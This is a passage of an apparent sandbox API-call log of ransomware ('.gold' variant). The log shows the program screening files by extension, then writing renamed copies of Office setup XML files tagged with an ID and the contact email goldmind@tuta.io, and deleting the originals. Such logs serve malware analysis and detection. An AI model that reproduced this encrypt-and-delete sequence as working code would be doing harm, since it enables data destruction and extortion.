controller\\prjpror\\prjprorww.xml")) returned 1 [0038.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0038.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0038.270] lstrlenW (lpString=".doc") returned 4 [0038.270] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.270] lstrlenW (lpString=".docx") returned 5 [0038.270] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0038.270] lstrlenW (lpString=".pdf") returned 4 [0038.270] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.270] lstrlenW (lpString=".xls") returned 4 [0038.270] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.270] lstrlenW (lpString=".xlsx") returned 5 [0038.270] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0038.270] lstrlenW (lpString=".ppt") returned 4 [0038.270] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0038.270] lstrlenW (lpString=".zip") returned 4 [0038.270] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.270] lstrlenW (lpString=".rar") returned 4 [0038.270] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.270] lstrlenW (lpString=".bz2") returned 4 [0038.270] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.270] lstrlenW (lpString=".7z") returned 3 [0038.270] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0038.270] lstrlenW (lpString=".dbf") returned 4 [0038.270] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0038.270] lstrlenW (lpString=".1cd") returned 4 [0038.270] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0038.270] lstrlenW (lpString=".jpg") returned 4 [0038.270] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0038.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0038.270] lstrlenW (lpString=".doc") returned 4 [0038.270] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.270] lstrlenW (lpString=".docx") returned 5 [0038.270] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0038.270] lstrlenW (lpString=".pdf") returned 4 [0038.271] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.271] lstrlenW (lpString=".xls") returned 4 [0038.271] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.271] lstrlenW (lpString=".xlsx") returned 5 [0038.271] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0038.271] lstrlenW (lpString=".ppt") returned 4 [0038.271] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0038.271] lstrlenW (lpString=".zip") returned 4 [0038.271] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.271] lstrlenW (lpString=".rar") returned 4 [0038.271] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.271] lstrlenW (lpString=".bz2") returned 4 [0038.271] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.271] lstrlenW (lpString=".7z") returned 3 [0038.271] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0038.271] lstrlenW (lpString=".dbf") returned 4 [0038.271] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0038.271] lstrlenW (lpString=".1cd") returned 4 [0038.271] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0038.271] lstrlenW (lpString=".jpg") returned 4 [0038.271] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.271] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0038.271] lstrlenW (lpString="SETUP.XML") returned 9 [0038.271] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0038.271] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=16683) returned 1 [0038.271] CloseHandle (hObject=0x1b0) returned 1 [0038.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 0x20 [0038.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0038.272] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0038.272] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.272] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.272] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0038.273] GetLastError () returned 0x0 [0038.273] ReadFile (in: hFile=0x1b0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x412b, lpOverlapped=0x0) returned 1 [0038.275] WriteFile (in: hFile=0x1fc, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0038.275] ReadFile (in: hFile=0x1b0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.275] WriteFile (in: hFile=0x1fc, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.276] SetEndOfFile (hFile=0x1fc) returned 1 [0038.276] CloseHandle (hObject=0x1fc) returned 1 [0038.276] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.276] SetEndOfFile (hFile=0x1b0) returned 1 [0038.277] CloseHandle (hObject=0x1b0) returned 1 [0038.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0038.277] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 1 [0038.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0038.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0038.278] lstrlenW (lpString=".doc") returned 4 [0038.278] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.278] lstrlenW (lpString=".docx") returned 5 [0038.278] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0038.278] lstrlenW (lpString=".pdf") returned 4 [0038.278] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.278] lstrlenW (lpString=".xls") returned 4 [0038.278] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.278] lstrlenW (lpString=".xlsx") returned 5 [0038.278] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0038.278] lstrlenW (lpString=".ppt") returned 4 [0038.278] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0038.278] lstrlenW (lpString=".zip") returned 4 [0038.278] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.278] lstrlenW (lpString=".rar") returned 4 [0038.278] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.278] lstrlenW (lpString=".bz2") returned 4 [0038.278] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.278] lstrlenW (lpString=".7z") returned 3 [0038.278] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0038.278] lstrlenW (lpString=".dbf") returned 4 [0038.278] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0038.278] lstrlenW (lpString=".1cd") returned 4 [0038.278] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0038.278] lstrlenW (lpString=".jpg") returned 4 [0038.278] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0038.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0038.278] lstrlenW (lpString=".doc") returned 4 [0038.278] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.278] lstrlenW (lpString=".docx") returned 5 [0038.278] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0038.278] lstrlenW (lpString=".pdf") returned 4 [0038.278] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.278] lstrlenW (lpString=".xls") returned 4 [0038.278] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.278] lstrlenW (lpString=".xlsx") returned 5 [0038.278] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0038.278] lstrlenW (lpString=".ppt") returned 4 [0038.278] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0038.278] lstrlenW (lpString=".zip") returned 4 [0038.279] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.279] lstrlenW (lpString=".rar") returned 4 [0038.279] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.279] lstrlenW (lpString=".bz2") returned 4 [0038.279] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.279] lstrlenW (lpString=".7z") returned 3 [0038.279] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0038.279] lstrlenW (lpString=".dbf") returned 4 [0038.279] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0038.279] lstrlenW (lpString=".1cd") returned 4 [0038.279] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0038.279] lstrlenW (lpString=".jpg") returned 4 [0038.279] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.279] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0038.279] lstrlenW (lpString="ProjectMUI.XML") returned 14 [0038.279] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0038.279] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1452) returned 1 [0038.279] CloseHandle (hObject=0x1b0) returned 1 [0038.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 0x20 [0038.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0038.279] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0038.279] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.279] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.280] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0038.281] GetLastError () returned 0x0 [0038.281] ReadFile (in: hFile=0x1b0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0038.282] WriteFile (in: hFile=0x1fc, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0038.283] ReadFile (in: hFile=0x1b0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.283] WriteFile (in: hFile=0x1fc, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0038.283] SetEndOfFile (hFile=0x1fc) returned 1 [0038.283] CloseHandle (hObject=0x1fc) returned 1 [0038.284] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.284] SetEndOfFile (hFile=0x1b0) returned 1 [0038.284] CloseHandle (hObject=0x1b0) returned 1 [0038.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0038.285] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 1 [0038.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0038.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0038.285] lstrlenW (lpString=".doc") returned 4 [0038.285] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.285] lstrlenW (lpString=".docx") returned 5 [0038.285] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0038.285] lstrlenW (lpString=".pdf") returned 4 [0038.285] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.285] lstrlenW (lpString=".xls") returned 4 [0038.285] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.285] lstrlenW (lpString=".xlsx") returned 5 [0038.285] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0038.285] lstrlenW (lpString=".ppt") returned 4 [0038.285] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0038.285] lstrlenW (lpString=".zip") returned 4 [0038.285] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.285] lstrlenW (lpString=".rar") returned 4 [0038.285] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.285] lstrlenW (lpString=".bz2") returned 4 [0038.285] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.285] lstrlenW (lpString=".7z") returned 3 [0038.285] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0038.285] lstrlenW (lpString=".dbf") returned 4 [0038.285] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0038.285] lstrlenW (lpString=".1cd") returned 4 [0038.285] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0038.285] lstrlenW (lpString=".jpg") returned 4 [0038.285] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0038.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0038.286] lstrlenW (lpString=".doc") returned 4 [0038.286] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.286] lstrlenW (lpString=".docx") returned 5 [0038.286] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0038.286] lstrlenW (lpString=".pdf") returned 4 [0038.286] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.286] lstrlenW (lpString=".xls") returned 4 [0038.286] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.286] lstrlenW (lpString=".xlsx") returned 5 [0038.286] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0038.286] lstrlenW (lpString=".ppt") returned 4 [0038.286] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0038.286] lstrlenW (lpString=".zip") returned 4 [0038.286] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.286] lstrlenW (lpString=".rar") returned 4 [0038.286] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.286] lstrlenW (lpString=".bz2") returned 4 [0038.286] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.286] lstrlenW (lpString=".7z") returned 3 [0038.286] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0038.286] lstrlenW (lpString=".dbf") returned 4 [0038.286] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0038.286] lstrlenW (lpString=".1cd") returned 4 [0038.286] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0038.286] lstrlenW (lpString=".jpg") returned 4 [0038.286] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.286] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0038.286] lstrlenW (lpString="SETUP.XML") returned 9 [0038.286] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0038.286] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1872) returned 1 [0038.286] CloseHandle (hObject=0x1b0) returned 1 [0038.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 0x20 [0038.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0038.287] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0038.287] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.287] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.287] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0038.287] GetLastError () returned 0x0 [0038.287] ReadFile (in: hFile=0x1b0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x750, lpOverlapped=0x0) returned 1 [0038.288] WriteFile (in: hFile=0x1fc, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x760, lpOverlapped=0x0) returned 1 [0038.289] ReadFile (in: hFile=0x1b0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, 